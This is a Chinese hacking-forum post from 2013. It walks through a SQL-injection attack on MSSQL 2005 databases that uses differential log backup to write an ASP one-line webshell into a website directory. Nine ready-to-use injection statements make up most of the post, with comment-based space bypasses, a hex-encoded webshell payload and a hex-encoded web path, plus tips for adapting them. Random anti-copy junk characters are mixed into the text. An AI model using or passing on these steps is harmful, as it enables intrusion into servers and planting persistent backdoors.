找回密码
 立即注册
查看: 3057|回复: 0
打印 上一主题 下一主题

mssql2005 DB权限导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:32:57 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。 4 [" N1 \# f1 t% S9 ~- s
! S. q8 R8 Q& q) f& H
5 g" T6 I. M1 X8 q' t
后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。
3 d" s% _' f5 e: q
+ K. W; l) ]/ M2 x第一步 9 a; s0 N7 v' J' s0 W
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--
+ Y- l. M: i5 v0 Q) T$ [3 y8 } # Y) G8 n- E- y  I1 S
第二步:
% h3 U. u- c4 D$ P0 {1 M2 c9 g;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
6 a% Q' f3 Y+ s. V7 Y. V 0 T: c4 v! i+ D- f$ T- P$ k
第三步
. i. c  ~3 q& H, T; c;drop/**/table/**/[itpro]--
6 J3 T( L* k& @4 ]1 N
5 F, o6 C+ |2 r5 h第四步
+ x" ~0 R8 o( Q" c) I$ K;create/**/table/**/[itpro]([a]/**/image)--
* i: O; R9 v5 u+ q
* R) w# |4 ~% m" a# u第五步 ) W. \) [# n$ [, F
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- 2 H8 f( d# C. e3 ~6 a

2 O. z9 T0 Z$ F第六步 & J( V$ N  Z) \
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)-- 2 k4 F- A! P4 ^- S) X% x
$ m# l% I+ b1 _, ^* z( C# M
第七步
6 Q2 m* l/ C$ T;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- : n& J) Q1 O% m
/ F* x2 }3 V6 J6 O$ K
第八步
- Y$ P& e( L; k# f;drop/**/table/**/[itpro]-- . _  o: r* X) f7 T* K' p* S6 V5 R
0 S9 V9 {" `& l* e$ w! k) x+ ~
第九步 $ r9 g. {3 \' A) {2 c4 N1 Z
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
4 ?& k2 {/ g4 Z2 L; ]
; X7 ~7 D$ j1 l  ?其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。
/ }6 C+ J% m+ P; R( i" r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表